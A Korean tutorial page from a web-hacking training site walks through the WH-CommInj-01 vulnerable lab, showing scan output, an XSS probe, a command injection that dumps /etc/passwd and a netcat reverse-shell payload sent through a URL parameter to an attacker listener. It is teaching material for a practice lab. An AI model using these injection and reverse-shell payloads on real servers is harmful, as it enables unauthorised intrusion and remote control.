홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
• 웹 해킹 훈련장 172.16.15.116 40080/tcp 대상 공개용 도구 기반의 홈페이지 취약점 점검 실습 (20200507) • Kali Linux 2020.1b 64bit 설치 설명서 (MS 윈도우 10, VMware 플레이어) (20200325) • VirtualBox 가상머신으로 GSM CE 6.0.2 설치 설명서 (OpenVAS) (20200125) • Kali Linux 2019.4 64bit Light 배포판 설치 설명서 (권장) (20191202) • Kali Linux 2019.3 64bit Large 배포판 설치 및 한글 설정 설명서 (20191129) • [과제] WH-MissAuth-1 웹해킹훈련장: 접속자 권한인증 후 출력 제어 취약점 (20180619) • [과제] WH-WebEditor-SE2 웹해킹훈련장: 취약한 PHP 버전에서 원래 파일이름을 저장하는 웹에디터의 취약점을 이용한 시스템 침투 (20170827) • [과제] WH-FILEDOWN-01 웹해킹훈련장: 파일다운로드로 서버침투 (20170810) • [과제] WH-COOKIE-02 웹해킹훈련장: 쿠키 오용 취약점 (20170809) • Apache Tomcat /manager/html 무작위대입공격 도구 작성 - PHP (20170721) • 칼리 리눅스를 이용한 From SQL Injection to Shell 공략 (20170404) • 단순한 방어법(../ 제거)의 파일 다운로드 취약점 진단 사례 (20170329) • WH-WebEditor-CH 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170130) • 오늘의 웹서버 공격 로그: MySQL 관리 인터페이스 자동탐색 도구 - Jorgee Scanner (20170125) • WH-WebEditor-GM 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170123) • 오늘의 웹서버 공격 로그: Apache ProxyAbuse 탐지 시도 (20170122) • 오늘의 웹서버 공격 로그: Bash 쉘쇼크 취약점을 이용한 Perl Ircbot 삽입 시도 (20170122) • 오늘의 웹서버 공격 로그: phpMyAdmin 취약점 자동탐색 도구 - ZmEu Scanner (20170121) • 오늘의 웹서버 공격 로그: 워드프레스 취약점 자동탐색 도구 (20170118) • WH-PathTrav-01 라이브 ISO: 파일 다운로드 취약점으로 서버 침투 (20170116) • WH-Webshell-Loc-01 라이브 ISO: 서버 내 웹쉘 저장경로 알아내기 (20170114) • WH-ImgShell-01 라이브 ISO: 이미지에 덧붙인 웹쉘 취약점 웹해킹훈련장 (20170113) • SSH 무작위 대입 공격으로 root권한을 탈취한 침해사고 사례 (20170112) • WH-IllInst-WordPress 워드프레스 웹해킹훈련장 소개 (20170110) • WH-IllInst-WordPress 워드프레스 웹해킹훈련장 실습 설명서 (20170110) • MSSQL과 MySQL의 SQL구문삽입을 이용한 OS 명령어 실행 (20170109) • WH-CommInj-01 원격 운영체제 명령어 삽입 취약점 훈련장(라이브 ISO) 소개 및 실습 설명서 (20170106) • WH-Deface-01 기능별 권한인증 취약점 훈련장(라이브 ISO) 소개 (20170104) • WH-Deface-01 웹해킹훈련장 실습 설명서 (20170104) • WH-Account-01 회원가입 취약점 훈련장(라이브 ISO) 소개 (20170102) • WH-Account-01 웹해킹훈련장 실습 설명서 (20170103) • WH-Account-02 회원정보수정 취약점 훈련장(라이브 ISO) 소개 (20170103) • WH-Account-02 웹해킹훈련장 실습 설명서 (20170104) • 저장형 XSS 공격을 이용한 홈페이지위변조 공격 사례 (20161231) • 로그인한 상태에서 웹취약점스캐너의 자동점검 위험성 (20161228) • DBMS Fingerprinting (데이터베이스 관리시스템 탐지) (20161222) • FCKeditor를 대상으로 한 자동화 공격툴의 침해사례 (20161220) • 이중 서버스크립트 혼용을 이용한 웹방화벽/확장자검증 우회 (실제 사례) (20161219) • HTTP/HTTPS 혼용에 따른 관리자로그인 페이지 접근 우회 (실제 사례) (20161214) • 경로재지정 취약점: 자바스크립트를 이용한 검증과 그 우회, 그리고 XSS (실제 사례) (20161214) • 웹해킹 사례: 유명 홈페이지를 악성코드 배포 경유지로... (20161213) • HTML 삽입, XSS 공격 탐지방법 (20161211) • 오늘의 웹서버 공격 로그, Axis2, 공개프록시 (20161210) • 오늘의 웹서버 공격 로그, XML-RPC, Open Proxy (20161208) • nikto와 owasp-zap 연동 (20161206) • 미라이 IoT DDoS 봇넷이 사용한 61개 비밀번호 (20161205) • 오늘의 웹서버 공격 로그, SOAP 원격코드실행, D-Link 명령어 삽입, muieblackcat (20161205) • 오늘의 웹서버 공격 로그, w00tw00t (DFind) (20161204) • 기억하기 쉽고 안전한 비밀번호 만들기 (20161203) • 2016.12.01-02 웹서버 공격 로그, armgg DDoS 악성코드 (20161202) • KISA의 랜섬웨어 예방 수칙 (20161202) • WH-DVWA-1.9 Damn Vulnerable Web App 웹해킹훈련장 (20161201) • DVWA Brute Force 실습 설명서 (20161205) • DVWA Command Injection 실습 설명서 (20161207) • DVWA CSRF (low, high level) 실습 설명서 (20161208) • DVWA File Inclusion 실습 설명서 (20161215) • DVWA File Upload 실습 설명서 (20161221) • DVWA SQL Injection (low, medium, high level) 실습 설명서 (20161224) • DVWA SQL Injection medium level - OWASP-ZAP과 sqlmap 실습 설명서 (20161222) • DVWA Blind SQLi (high level) 수동점검을 통한 '눈먼'SQL 구문삽입의 이해 (20161227) • DVWA Blind SQL Injection (low, medium level) sqlmap 실습 설명서 (20161226) • DVWA Reflected Cross Site Scripting (XSS) 실습 설명서 (20161227) • DVWA Stored Cross Site Scripting (XSS) 실습 설명서 (20170101) • SVG 이미지의 ECMAscript를 이용한 악성코드 배포 (20161201) • WH-WebGoat-7.0.1 웹해킹훈련장 라이브 ISO (20161130) • WebGoat: Bypass a Path Based Access Control Scheme (20161207) • WebGoat, LAB: DOM-Based cross-site scripting (20161208) • WebGoat, Authentication Flaws: Multi Level Login 2 (20161209) • WebGoat, Code Quality: Discover Clues in the HTML (20161210) • WebGoat XSS: Phishing with XSS (20161211) • WebGoat: OS Command Injection (20161215) • WebGoat: Numeric SQL Injection (20161216) • WebGoat: String SQL Injection (UNION기반 SQL 구문삽입의 이해) (20161217) • WebGoat: Blind Numeric SQL Injection (추리기반 SQL 구문삽입의 이해) (20161218) • 2016.11.30 웹서버 공격 로그 (20161130) • OWASP TOP 10 (2013) 문서의 각종 해킹 시나리오 모음 (20161129) • WH-LFI-01: 널바이트삽입과 내부파일실행 웹해킹훈련장 (20161126) • WH-LFI-01 웹해킹훈련장의 취약점 분석 결과보고서 (20161128) • 인터넷(Internet)과 보안에 대해 짧게 생각해보다 (20161125) • PHP Easter Egg의 이해와 조치방안 (20161125) • WH-COOKIE-01: 잘못된 쿠키 사용 사례를 보여주는 웹해킹훈련장 (20161124) • WH-COOKIE-01 웹해킹훈련장 홈페이지 취약점분석 결과보고서 (20161126) • 웹해킹 공격/방어 일람 (20161121) • webhack.dynu.net 문자배너 만들기 - toilet (20161121) • MIME 형식의 보안위협 완화: X-Content-Type-Options 헤더 (20161120) • X-XSS-Protection헤더 시험 페이지 (20161119) • 방화벽을 노리는 블랙너스(Black Nurse) DoS 공격 (20161118) • 클릭재킹 방지를 위한 X-Frame-Options 헤더 (20161117) • X-Frame-Options헤더 시험 페이지 (20161118) • 공시생 성적조작 사건, 물리보안과 정보보안 (20161117) • ID/PW 평문전송, 정말 그렇게 큰 취약점인가? (20161116) • [웹해킹훈련장] 취약한 비밀번호: WH-weak-root-pw 실습 설명서 (20161116) • weak-root-pw 훈련장 웹취약점 분석 보고서 (20161117) • 슬리타즈 리눅스 4.0 설치와 웹해킹훈련장 Live ISO 만들기 (20161115) • 버추얼박스 가상머신에서 Tails OS 설치 (20161114) • Kali Linux에 Tor Browser 설치하기 (20161114) • 인터넷익명성 - VPN과 Tor (20161114) • Kali Linux, open-vm-tools, Shared Folder (20161113) • SSL Strip 공격과 HSTS (20161112) • 모든 꼬리표 모아보기(태그 클라우드) (20161111) • HTTP 세션 탈취와 IP보안 (20161111) • HTTP TRACE method와 XST 공격 (20161111) • 세션쿠키와 HttpOnly (20161110) • HTTP 메소드 수동점검 방법 (20161110) • 파일업로드(웹쉘) 방어하기 (20161109) • 파일다운로드/경로조작 방어하기 (20161109) • XSS, SQL Injection 방어하기 (20161109) • 길찾기(sitemap) (20161109) • 웹취약성분석 관련 파일 목록 (20161108) • SQL 인젝션 공격도구 sqlmap의 간단한 사용법 (20161107) • 웹취약점 분석 도구로서의 THC Hydra (20161107) • 웹취약점 분석 도구로서의 cURL (20161107) • [웹해킹훈련장] CVE-2014-6271: Bash Shellshock 실습 설명서 (20161104) • [PentesterLab] CVE-2014-6271 Shellshock 훈련장 웹취약점 분석 보고서 (20161106) • 무료 웹해킹 교육장 목록 (20161103) • 칼리 리눅스(Kali Linux) 설치 (20161030) • 가상머신 버추얼 박스(VirtualBox) 설치 (20161029) • 가상머신 VMWare Workstation Player 설치 (20161028) • [웹해킹훈련장] Drunk Admin Web Hacking Challenge 실습 설명서 (20161027) • 스마트에디터(SmartEditor) 2.0 Basic의 웹쉘 업로드 취약점 (20160719) |
<< 목록숨기기 WH-CommInj-01: 명령어삽입 웹해킹훈련장 실습 설명서
WH-CommInj-01은 실제 서비스에서 발견된 취약점을 바탕으로 재구성한 훈련장이다.
원격에서 운영체제 명령어를 실행(Remote OS Command Injection)할 수 있는
위의 파일을 내려받아서 적당한 위치에 저장한다.
VMWare Player나 VirtualBox를 이용하여 손님운영체제로 구동한다.
이때 메모리는 256MB이상이면 되고(여기서는 512MB로 지정), 가상디스크는 설정하지 않아도 된다.
설정이 끝나면 부팅을 진행하고,
위 그림은 파이어폭스에서 WH-CommInj-01 훈련장(
이 훈련장을 nmap 탐색 결과
root@kali:~# nmap -A 192.168.189.238 Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-06 19:28 KST Nmap scan report for 192.168.189.238 Host is up (0.00042s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd |_http-server-header: Apache |_http-title: \xEC\x98\xA4\xEB\x8A\x98\xEC\x9D\x98 \xEC\x9C\xA0\xEB\xA8\xB8 - OS Command Injection ::: \xEC\x9B\xB9\xED\x95\xB4\xED\x82\xB9/\xED\x99\x88\xED\x8E\x98\xEC\x9D... MAC Address: 00:0C:29:E3:3F:16 (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.36 - 2.6.37, Linux 2.6.37 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.42 ms 192.168.189.238 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.56 seconds root@kali:~#
WH-CommInj-01 훈련장 서버는 80 포트에서 nikto 스캐너 탐색 결과
80포트에서 HTTP 서비스가 발견되었으므로 root@kali:~# nikto -host 192.168.189.238 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.189.238 + Target Hostname: 192.168.189.238 + Target Port: 80 + Start Time: 2017-01-06 19:31:28 (GMT9) --------------------------------------------------------------------------- + Server: Apache + No CGI Directories found (use '-C all' to force check all possible dirs) + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + OSVDB-3092: : This might be interesting... possibly a system shell found. + 10025 requests: 839 error(s) and 2 item(s) reported on remote host + End Time: 2017-01-06 19:31:50 (GMT9) (22 seconds) --------------------------------------------------------------------------- + 1 host(s) tested root@kali:~#
OWASP-ZAP의 웹 어플리케이션 취약점 탐색 결과
OWASP-ZAP의 "
OWAS-ZAP이 크로스사이트스크립트 점검에 사용한 URL은
<font color=red><b>data_dir/</b><script<alert(1);</script><b>.txt 파일을 찾을 수 없습니다.</b></font></pre>
와 같이 자바스크립트가 실행되는 HTML이 삽입이 되는 것을 확인할 수 있다.
실제로
OWASP-ZAP이 명령어 삽입 취약점 점검에 사용한 URL은
<pre> root:x:0:0:Root Administrator:/root:/bin/sh nobody:x:99:99:Unprivileged User:/dev/null:/bin/false www:x:80:80:Web Server User:/var/www:/bin/false tux:x:1000:1000:Linux User,,,:/home/tux:/bin/sh mysql:x:100:101:Linux User,,,:/home/mysql:/bin/false postfix:x:101:102:Linux User,,,:/home/postfix:/bin/false <font color=red><b>data_dir/30&cat /etc/passwd&.txt 파일을 찾을 수 없습니다.</b></font></pre>
와 같이 WH-CommInj-01 웹 서버의 명령어삽입 취약점의 수동분석
OWASP-ZAP이 탐지한 명령어삽입 취약점을 좀 더 자세히 살펴보자.
먼저
작은따옴표를 덧붙인 결과로
"
root@kali:~# curl http://192.168.189.238/data_dir/32.txt <중국집의 거짓말> 점심을 먹으려고 중국집에다 자장면을 시켰다. 시킨 뒤에 탕수욕을 추가할까 해서 다시 전화를 했다. 나: 중국집이죠? 아까 자장면 시켰는데요.. XX 아파트요.. 중국집: 네 출발했습니다.... 나: 그래요? 아직 출발 안 했으면 탕수욕 하나 더 시키려고 했거든요. 중국집: 아 출발한 줄 알았는데 아직 안 했네요! 나: 네...- - root@kali:~#
마지막 입력 값(
참고: 역방향접속(Reverse Connection)
정보보안 관련 문서를 보면 "Reverse Connection"이라는 용어를 많이 보게 된다.
일반적인 서버 접속이 "내 컴퓨터가 서버에 접속"하는 것이라면
reverse connection은 "서버가 내 컴퓨터로 접속"하는 것이다.
보안 때문에 웹 서버는 - 주로 방화벽을 이용하여 - 외부에서의 운영체제 접속을 차단한다.
이 때문에 해커들은 웹 서버가 외부 서버로 연결하게 하는 역방향 접속(reverse connection)을 시도하기도 한다.
해커의 역방향 접속에는 명령어 실행기능이 활성화된
WH-CommInj-01 훈련장을 이용하여 역방향 접속을 시도해보자.
먼저 공격자의 서버(여기서는 칼리 리눅스)에서 두 개의 포트를 개방한다.
터미널 2개를 실행한다.
각각 Kali Terminal 1, Kali Terminal 2라고 하자.
Terminal 1은 입력용으로, Terminal 2는 출력용으로 사용한다.
root@kali:~# nc -v -l -p 7777 listening on [any] 7777 ...
root@kali:~# nc -v -l -p 8888 listening on [any] 8888 ... Firefox 웹브라우저로 다음 URL에 접속한다. http://192.168.189.238/?id=32.txt;%20nc%20192.168.189.166%207777%20|%20/bin/sh%20|%20nc%20192.168.189.166%208888%20;%20cat%20data_dir/17
이 결과로 WH-CommInj-01 웹서버는
참고: 연결을 오랫동안 (예를 들어 10000초) 지속하고 싶다면
위와 같이 웹 브라우저에서 역뱡향 연결을 시도하면 칼리의 두 터미널은 다음과 같이 반응한다.
root@kali:~# nc -v -l -p 7777 listening on [any] 7777 ... 192.168.189.238: inverse host lookup failed: Unknown host connect to [192.168.189.166] from (UNKNOWN) [192.168.189.238] 57156
root@kali:~# nc -v -l -p 8888 listening on [any] 8888 ... 192.168.189.238: inverse host lookup failed: Unknown host connect to [192.168.189.166] from (UNKNOWN) [192.168.189.238] 47809
이제 웹서버가 칼리리눅스로 연결을 완료하였다.
이제 Kali Terminal 1에서 명령어를 입력하면 웹 서버가 실행한 결과가 Kali Terminal 2에서 출력된다.
Terminal 1에서 root@kali:~# nc -v -l -p 7777 listening on [any] 7777 ... 192.168.189.238: inverse host lookup failed: Unknown host connect to [192.168.189.166] from (UNKNOWN) [192.168.189.238] 57156 ls -als [Enter] root@kali:~# nc -v -l -p 8888 listening on [any] 8888 ... 192.168.189.238: inverse host lookup failed: Unknown host connect to [192.168.189.166] from (UNKNOWN) [192.168.189.238] 47809 total 32 0 drwxr-xr-x 3 root root 100 Jan 3 02:31 . 0 drwxr-xr-x 11 root root 220 Jan 1 09:05 .. 0 drwxr-xr-x 2 root root 620 Jan 3 02:31 data_dir 28 -rw-r--r-- 1 root root 27705 Jan 3 02:31 index.php 4 -rw-r--r-- 1 root root 1153 Jan 3 02:31 style.css
웹서버의 디렉토리 목록이 출력된다.
root@kali:~# nc -v -l -p 7777 listening on [any] 7777 ... 192.168.189.238: inverse host lookup failed: Unknown host connect to [192.168.189.166] from (UNKNOWN) [192.168.189.238] 57156 ls -als id uname -a cat /etc/passwd root@kali:~# nc -v -l -p 8888 listening on [any] 8888 ... 192.168.189.238: inverse host lookup failed: Unknown host connect to [192.168.189.166] from (UNKNOWN) [192.168.189.238] 47809 total 32 0 drwxr-xr-x 3 root root 100 Jan 3 02:31 . 0 drwxr-xr-x 11 root root 220 Jan 1 09:05 .. 0 drwxr-xr-x 2 root root 620 Jan 3 02:31 data_dir 28 -rw-r--r-- 1 root root 27705 Jan 3 02:31 index.php 4 -rw-r--r-- 1 root root 1153 Jan 3 02:31 style.css uid=80(www) gid=80(www) groups=80(www) Linux slitaz 2.6.37-slitaz #2 SMP Wed Mar 7 10:36:39 CET 2012 i686 GNU/Linux root:x:0:0:Root Administrator:/root:/bin/sh nobody:x:99:99:Unprivileged User:/dev/null:/bin/false www:x:80:80:Web Server User:/var/www:/bin/false tux:x:1000:1000:Linux User,,,:/home/tux:/bin/sh mysql:x:100:101:Linux User,,,:/home/mysql:/bin/false postfix:x:101:102:Linux User,,,:/home/postfix:/bin/false Terminal 2는 명령어 실행결과를 위와 같이 뱉어낸다.
이제 공격자는 역방향 접속(reverse connection)을 통해 웹 서버의 터미널에 접속한 것과 마찬가지로 서버의
자원을 사용할 수 있게 된 것이다.
이 사례에서는 접속 권한이 역방향 접속은 운영체제 명령어를 실행할 수 있는 모든 취약점(명령어삽입 취약점, 웹쉘 업로드, 파일실행 취약점(File Inclusion), 서버스크립트 코드삽입 취약점, 일부 SQL구문삽입 취약점 등)에서 사용할 수 있다. 다만, 웹취약점 분석에서는 굳이 사용하지 않아도 되는 기법이다. 마무리
WH-CommInj-01 훈련장은 Apahce/PHP 기반의 웹 서비스이다.
공개용 웹 취약점 점검 도구들만으로도 일반 사용자( [처음 작성한 날: 2017.01.06] [마지막으로 고친 날: 2017.01.08] < 이전 글 : MSSQL과 MySQL의 SQL구문삽입을 이용한 OS 명령어 실행 (2017.01.09) > 다음 글 : WH-Deface-01 기능별 권한인증 취약점 훈련장(라이브 ISO) 소개 (2017.01.04) 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다. 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |